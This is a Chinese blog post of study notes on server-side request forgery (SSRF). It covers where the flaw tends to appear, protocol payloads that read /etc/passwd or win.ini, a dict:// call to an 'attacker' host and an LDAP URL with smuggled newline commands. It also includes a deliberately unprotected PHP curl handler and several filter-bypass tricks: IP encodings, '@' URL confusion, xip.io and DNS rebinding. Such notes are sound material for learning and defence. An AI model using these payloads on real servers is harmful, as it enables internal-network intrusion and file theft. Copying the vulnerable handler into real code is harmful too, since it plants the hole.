SSRF漏洞的利用与学习 - JunMo博客

JunMo的博客

2019
记录生活
首页 » 学习笔记 » SSRF漏洞的利用与学习

SSRF漏洞的利用与学习

漏洞介绍

服务端伪造(SSRF)指的是攻击者从一个具有漏洞的web应用中发送的一个伪造的请求的攻击。SSRF通常适用于针对在防火墙后一般对于外部网络的攻击者是无法访问的内部系统。另外,攻击者也可能利用SSRF来访问监听回送地址接口(127.0.0.1)的服务。

SSRF危害

1、内网、本地端口扫描,获取开放端口信息
2、主机信息收集,web应用指纹识别,获取服务banner信息
3、根据识别出的应用针对性的发送payload攻击,例如struts2
4、攻击内网和本地的应用程序及服务。
5、穿越防火墙
6、利用file协议读取本地文件,比如file:///etc/passwd

漏洞发现

1.分享:通过URL地址分享网页内容

 

早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>标签或者<meta name="description" content=“”/>标签中content的文本内容作为显示以提供更好的用户体验。例如人人网分享功能中:http://widget.renren.com/*****?resourceUrl=https://www.sobug.com

 通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。

 

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

 

由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

 

3.图片加载与下载:通过URL地址加载或下载图片

 

图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了? ,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)。

 

4.图片、文章收藏功能

 

此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能

利用协议

接受为curl的时候,支持的协议有

使用curl -v http://xx.com/ssrf.php?url=sxxx

file://

ssrf.php?url=file:///etc/password

Dict://

dict://<user-auth>@<host>:<port>/d:<word>

ssrf.php?url=dict://attacker:11111/

SFTP://

ssrf.php?url=sftp://example.com:11111/

TFTP://

ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET

LDAP://

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

漏洞测试

 

漏洞代码ssrf(未做任何SSRF防御)

function curl($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_HEADER, 0);
 curl_exec($ch);
 curl_close($ch);
}

$url = $_GET['url'];
curl($url);

远程利用方式

# 利用file协议任意文件读取
curl 'http://xxxxxx.com/ssrf.php?url=file://C:/windows/win.ini'

绕过SSRF过滤的几种方法

1、更改IP地址写法

    可以通过进制绕过:

    192.168.0.1的各种进制

    (1)、8进制格式:0300.0250.0.1

    (2)、16进制格式:0xC0.0xA8.0.1

    (3)、10进制整数格式:3232235521

    (4)、16进制整数格式:0xC0A80001

2.利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

http://www.baidu.com@192.168.0.1/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

3.利用DNS解析

在网络上存在一个很神奇的服务,http://xip.io当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

4.DNS Rebinding

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

 

 

文章如无特别注明均为原创!
本文作者: JunMo
转载或复制请带上本文地址 http://mo60.cn/post-60.html
并注明出处 JunMo博客
原文地址《 SSRF漏洞的利用与学习
发布于2019-8-15
收录状态: [百度已收录][360未收录]

分享到:


打赏

评论

游客

看不清楚?点图切换

  1. #1
    qq_avatar

    来学习一下!
    最近怎么没人呀

    Qing 3个月前 (2019-08-31)回复
切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册